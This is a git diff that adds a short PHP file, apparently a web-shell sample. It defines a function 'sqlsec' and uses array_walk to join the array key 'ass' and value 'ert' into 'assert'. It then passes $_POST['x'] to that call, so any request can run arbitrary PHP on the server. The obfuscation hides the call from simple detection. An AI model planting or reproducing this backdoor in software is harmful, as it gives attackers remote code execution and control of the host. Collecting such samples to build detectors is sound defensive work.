diff --git a/php/2020.08.20.12.php b/php/2020.08.20.12.php
new file mode 100644
index 0000000..89c83b5
--- /dev/null
+++ b/php/2020.08.20.12.php
@@ -0,0 +1,9 @@
+<?php
+    function sqlsec($value,$key)
+    {   
+        $x = $key.$value;
+        $x($_POST['x']);
+    }
+    $a=array("ass"=>"ert");
+    array_walk($a,"sqlsec");
+?>